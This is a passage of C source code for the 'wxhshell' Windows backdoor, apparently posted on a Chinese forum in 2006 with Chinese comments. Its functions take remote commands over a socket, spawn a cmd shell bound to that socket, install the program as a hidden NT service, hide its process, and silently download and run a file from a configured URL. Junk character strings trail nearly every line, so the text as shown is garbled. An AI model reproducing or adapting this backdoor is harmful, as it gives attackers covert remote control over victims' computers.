    switch(cmd[0]) { (j(6%U  
  R7#B_^ $  
  // 帮助 J&Ah52  
  case '?': { $3So`8Bm[$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^Kn}{m/3Y  
    break; hQ9VcS6=gD  
  } +:b| I'S  
  // 安装 r_QWt1K  
  case 'i': { o!Y7y1$  
    if(Install()) MD+Q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7=3[K  
    else B9]KC i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i9d.Ls  
    break; #soWX_>  
    } #(OL!B  
  // 卸载 bS*9eX=K  
  case 'r': { >6c{CYuT  
    if(Uninstall()) #<{sP 0v*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =7a9~&|  
    else sPut@4[S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;T?2~g!  
    break; Gd!y,n&s  
    } 9BP-Iet  
  // 显示 wxhshell 所在路径 -{HA+YL H  
  case 'p': { 4oJ0,u  
    char svExeFile[MAX_PATH]; :p89J\  
    strcpy(svExeFile,"\n\r"); YQ]W<0(  
      strcat(svExeFile,ExeFile); ct`89~"  
        send(wsh,svExeFile,strlen(svExeFile),0); [j) :2  
    break; =m UtBD.;  
    } A," u~6Bn  
  // 重启 cY5h6+_  
  case 'b': { $. Ih-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eKt~pzXwm  
    if(Boot(REBOOT))  [5H#ay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PAJt M  
    else { rAgb<D@,H  
    closesocket(wsh); 6]M(ElV1H  
    ExitThread(0); X4gs{kx}|  
    } yTv#T(of  
    break; L:7%Wdyh  
    } 3{CXIS  
  // 关机 NOQM:tBO>  
  case 'd': { )KG.:BO<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  3= PRe  
    if(Boot(SHUTDOWN)) H8X{!/,^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5`Kn}rY  
    else { L^dF )y?  
    closesocket(wsh); Y-v6xUc{F  
    ExitThread(0); (m13 ong  
    } ^)TZHc2a[  
    break; D KR2b`J  
    } Y f1?3 (0O  
  // 获取shell nPE{Gp) }  
  case 's': { T< D&%)  
    CmdShell(wsh); ta %yQd7  
    closesocket(wsh); G@s rQum(  
    ExitThread(0); `#R[x7bA1  
    break; W2'u]1bs  
  } `KB;3L  
  // 退出  tmKHT  
  case 'x': { #mFIZMTRd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J.$N<.  
    CloseIt(wsh); EjrK.|I0  
    break; W|4:3 c4  
    } R10R,*6>  
  // 离开 vr"O9L w  
  case 'q': { 0tK(:9S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qf;x~1efC4  
    closesocket(wsh); 2)-Umq{]{  
    WSACleanup(); OQ&l/|{O0?  
    exit(1); 0.+MlyA  
    break; G .NGS%v  
        } ZwM(H[iqL  
  } 6o6I]QL  
  } n86LU Sj5  
!c W6dc^  
  // 提示信息 .kcyw>T`I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LtW}R4}3  
} "Doz~R\\  
  } 1R-WJph  
7_HFQT1.N  
  return; ^VOFkUp)  
} H}?"2jF  
id+ ~ V  
// shell模块句柄 ?k@^U9?R  
int CmdShell(SOCKET sock) Qco8m4n  
{ F$M^}vsjGx  
STARTUPINFO si; pLSh +*F  
ZeroMemory(&si,sizeof(si)); |0OY> 5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |h%=a8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H\RejGR  
PROCESS_INFORMATION ProcessInfo; Ym%XCl  
char cmdline[]="cmd"; _0}u0fk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ogv9_ X8  
  return 0; >e>%AMzo[  
} m~04I~8vk  
F/V -@SF  
// 自身启动模式 Z-:T')#Cf  
int StartFromService(void) @CMEmgk~  
{ "zj[v1K9-A  
typedef struct > 9.%hSy  
{ V_zU?}lZ^  
  DWORD ExitStatus; V/`vX;%  
  DWORD PebBaseAddress; jh(T?t$&  
  DWORD AffinityMask; (1 (~r"4I  
  DWORD BasePriority; 7>"dc+Fg  
  ULONG UniqueProcessId; /g$G G9  
  ULONG InheritedFromUniqueProcessId; L>LIN 1A  
}   PROCESS_BASIC_INFORMATION; r3  qKT  
PzOnS   
PROCNTQSIP NtQueryInformationProcess; rU+3~|m  
MX? *jYl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oz:"w nX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;.'?(iEB  
>dx/k)~~-L  
  HANDLE             hProcess; PriLV4?  
  PROCESS_BASIC_INFORMATION pbi; @Bds0t  
{7jl) x3l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h+=IxF4  
  if(NULL == hInst ) return 0; ":0u%E?s  
3^[P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =^1jVaAL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EQN)y27poW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tk]D)+{u&c  
=p^$>o  
  if (!NtQueryInformationProcess) return 0; 1w~PHH`~  
?Z2`8]-E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Unvl~lm6  
  if(!hProcess) return 0; ! c`&L_ "!  
; [G:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q3Pu<j}Y  
URceq2_  
  CloseHandle(hProcess); yDfH`]i)U  
nNq<x^@83  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l`.z^+!8@  
if(hProcess==NULL) return 0; D&i\dgbK  
FQJiLb._Z  
HMODULE hMod; LN~mKoW  
char procName[255]; ]DKRug5  
unsigned long cbNeeded; Q 9fK)j1$  
/78]u^SW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ((C|&$@M  
M!+J[q  
  CloseHandle(hProcess); Qo)Da}uo20  
&Ts!#OcB,  
if(strstr(procName,"services")) return 1; // 以服务启动 !m^;wkrY  
Li]bU   
  return 0; // 注册表启动 b"WF]x|^  
} b"uO BB  
n&Ckfo_D  
// 主模块 MA,*$BgZ  
int StartWxhshell(LPSTR lpCmdLine) 9w- )??  
{ D6A u)1y=&  
  SOCKET wsl; .u>[m.  
BOOL val=TRUE; Tf~eH!~0  
  int port=0; iLch3[p%  
  struct sockaddr_in door; .<zKBv  
d\uN  
  if(wscfg.ws_autoins) Install(); =WjHf8v;  
+N=HI1^54R  
port=atoi(lpCmdLine); T? Kh '  
1^LdYO?g'  
if(port<=0) port=wscfg.ws_port; ("\{=XA Q  
Ie(i1?`A8  
  WSADATA data; &nDXn|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a M9v  
u8T@W}FX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uLafO=Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w%.hALN5-C  
  door.sin_family = AF_INET; X8VBs#tLE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /i3 JP}  
  door.sin_port = htons(port); )O"E#%  
H.\`(`6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T[ZmD{6l  
closesocket(wsl); \?; `_E`j  
return 1; ep=r7Mft  
} :~ pGHl  
3("C'(W  
  if(listen(wsl,2) == INVALID_SOCKET) { KEtV  
closesocket(wsl); Sp492W+  
return 1; Xd=KBB[r?  
} gzIx!sc  
  Wxhshell(wsl); [02rs@c>  
  WSACleanup(); tGgxID  
<Cv(@A->  
return 0; [K&%l]P7  
[ N|X  
} !{g<RS( c  
rz@q W2  
// 以NT服务方式启动 &J)<1!|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _;B wP  
{ 1(-!TJ{  
DWORD   status = 0; pASX-rb  
  DWORD   specificError = 0xfffffff; 9a=Ll]=\  
!\X9$4po@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x=t(#R m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3Do0?~n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8 MQq3  
  serviceStatus.dwWin32ExitCode     = 0; ^FKiVKI:  
  serviceStatus.dwServiceSpecificExitCode = 0; S3\NB3@qC&  
  serviceStatus.dwCheckPoint       = 0; sq!$+=1-X  
  serviceStatus.dwWaitHint       = 0; xIGq+yd(  
pR$(V4>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D`T;j[SsS#  
  if (hServiceStatusHandle==0) return;  !BsQJ_H  
~Jk& !IE2  
status = GetLastError(); -g@!\{  
  if (status!=NO_ERROR) m<h%BDSzr{  
{ /?eVWCR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iM@$uD$_Q2  
    serviceStatus.dwCheckPoint       = 0; q#tUDxf(|  
    serviceStatus.dwWaitHint       = 0; 5p (zhfuG  
    serviceStatus.dwWin32ExitCode     = status; _K o#36.S  
    serviceStatus.dwServiceSpecificExitCode = specificError; dymq Z<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\ ;'>qy  
    return; UJL2IF-x  
  } 1uAjy(y  
+nE>)ZH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _#u\ar)  
  serviceStatus.dwCheckPoint       = 0; `gX|q3K\s  
  serviceStatus.dwWaitHint       = 0; D5,]E`jwu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oZa'cZNs  
} J,F1Xmr4  
p?i.<Z  
// 处理NT服务事件,比如:启动、停止 fOV_ >]u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lI<jYd 0fZ  
{ GGp.u@\r  
switch(fdwControl) uzBQK  
{ sp,-JZD  
case SERVICE_CONTROL_STOP: oX|T&"&  
  serviceStatus.dwWin32ExitCode = 0; e9o\qEm   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xqt?z n  
  serviceStatus.dwCheckPoint   = 0; $fmTa02q>  
  serviceStatus.dwWaitHint     = 0; `,qft[1  
  { (QDKw}O2b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !;eE7xn&  
  } L,}'ST  
  return; g'7E6n"!,  
case SERVICE_CONTROL_PAUSE: +>"s)R43  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1,-C*T}nR  
  break; ye(b 7CX  
case SERVICE_CONTROL_CONTINUE: l~i?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QQrldc(I  
  break; "'U^8NA2  
case SERVICE_CONTROL_INTERROGATE: 4>d4g\Z0L  
  break; $G".PWc  
}; Q;]JVT1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KqK]R6>  
} Ymz/:  
gJQ#j~'  
// 标准应用程序主函数 :W.H#@'(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rYb5#aT[  
{ |J-X3`^\H  
.9bi%=hP  
// 获取操作系统版本 Y4rxnXGw  
OsIsNt=GetOsVer(); vGkem J^/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w:5?ofC  
aJ'Fn  
  // 从命令行安装 32wtN8kx  
  if(strpbrk(lpCmdLine,"iI")) Install(); #AJW-+1g.=  
=I# pXL  
  // 下载执行文件 YnEyL2SuU  
if(wscfg.ws_downexe) { 'H5 30Y\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |0n )U(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 9>@0P  
} g(@F`W[  
^Hx}.?1  
if(!OsIsNt) { e9{ii2M  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ VT)  
HideProc(); .C'\U[A{  
StartWxhshell(lpCmdLine); -8 uS#  
} 6u, g  
else _%e8GWf  
  if(StartFromService()) Xdn&%5rI  
  // 以服务方式启动 B4y_{V  
  StartServiceCtrlDispatcher(DispatchTable); Fi i(dmn  
else wW%b~JX  
  // 普通方式启动 $|~ <6A{y  
  StartWxhshell(lpCmdLine); uj8saNu  
287j,'vR  
return 0; ^B<-.(F  
}
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只看该作者 1 发表于: 2006-10-10
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